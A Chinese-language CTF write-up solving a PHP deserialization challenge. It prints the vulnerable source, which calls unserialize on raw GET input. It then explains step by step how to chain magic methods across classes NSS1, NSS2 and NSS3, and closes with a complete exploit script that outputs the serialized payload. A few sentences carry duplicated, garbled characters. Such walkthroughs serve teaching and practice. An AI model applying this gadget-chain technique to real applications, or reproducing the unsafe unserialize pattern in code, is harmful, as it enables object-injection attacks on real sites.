原题如下
<?php
highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;
}
}
class NSS2 {
var $name;
private $test;
function __set($name, $value) {
$a = $this->test;
$a($value);
}
function __toString() {
$this->name->{$this->test}();
}
}
class NSS3 {
var $name;
var $res;
function __invoke($v) {
echo $this->name->flag($v);
}
function flag($a) {
if ($a === '1') {
return getenv('FLAG');
}
}
function __call($name, $arguments){
$this->name->a = '1';
}
}
unserialize($_GET['n']);
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发
__invoke() //------ 当尝试将对象调用为函数时触发
step1
首先确定链子的头和尾
function __destruct() {
echo $this->name;
}
一般析构函数为链子的头
echo函数,将$this->name当作字符串使用
可以联想到__toString()函数
因此第一步是
$a=new NSS1();
$a->name=new NSS2();
step2
function __toString() {
$this->name->{$this->test}();
}
{$this->test}()这里可以联想到__invoke()函数,把类当作函数时触发
和__call()函数,当调用不存在的方法时触发
t h i s − > n a m e 如果不是类的话,想要调用魔术方法,只能将 this->name如果不是类的话,想要调用魔术方法,只能将 this−>name如果不是类的话,想要调用魔术方法,只能将this->test赋值为类,此时触发__invoke()函数
function __invoke($v) {
echo $this->name->flag($v);
}
function flag($a) {
if ($a === '1') {
return getenv('FLAG');
}
}
但是无法得到flag,因为flag里面的参数不等于1
所以要将$this->name赋值为类
因此第二步
$a->name->name=new NSS3();
但是 t e s t 是 p r i v a t e 类型,必须要定义一个函数才能给 test是private类型,必须要定义一个函数才能给 test是private类型,必须要定义一个函数才能给test赋值
function setTest($a){
$this->test=$a;
}
$a->name->setTest('unknown');
step3
function __call($name, $arguments){
$this->name->a = '1';
}
现在链子传到了__call()这里,它里面是一个赋值的操作
联想到__set()方法是给不存在的属性赋值
因此第三步为
$a->name->name->name=new NSS2();
step4
function __set($name, $value) {
$a = $this->test;
$a($value);
}
此时,只剩一个魔术方法__invoke()没有调用,再通过分析,也能得出这题是通过将类当作函数调用
从而调用__invoke()函数
$b=new NSS3();
$a->name->name->name->setTest($b);
step5
function __invoke($v) {
echo $this->name->flag($v);
}
function flag($a) {
if ($a === '1') {
return getenv('FLAG');
}
}
参数的值这么传递下来,只要将$this-name赋值为类即可
$b->name=new NSS3();
Final
整合得到exp
<?php
//highlight_file(__FILE__);
class NSS1 {
var $name;
function __destruct() {
echo $this->name;//step1 name=NSS2
}
}
class NSS2 {
var $name;
private $test;
function __set($name, $value) {//name=a value=1
$a = $this->test;
$a($value);//step4 test=NSS3
}
function __toString() {
$this->name->{$this->test}();//step2 name=NSS3 test=xxx
}
function setTest($a){
$this->test=$a;
}
}
class NSS3 {
var $name;
var $res;
function __invoke($v) {//v=value
echo $this->name->flag($v);//step5 name=NSS3
}
function flag($a) {
if ($a === '1') {
return getenv('FLAG');
}
}
function __call($name, $arguments){
$this->name->a = '1';//step3 name=NSS2
}
}
//unserialize($_GET['n']);
$a=new NSS1();
$a->name=new NSS2();
$a->name->name=new NSS3();
$a->name->setTest("xxx");
$a->name->name->name=new NSS2();
$b=new NSS3();
$b->name=new NSS3();
$a->name->name->name->setTest($b);
echo urlencode(serialize($a));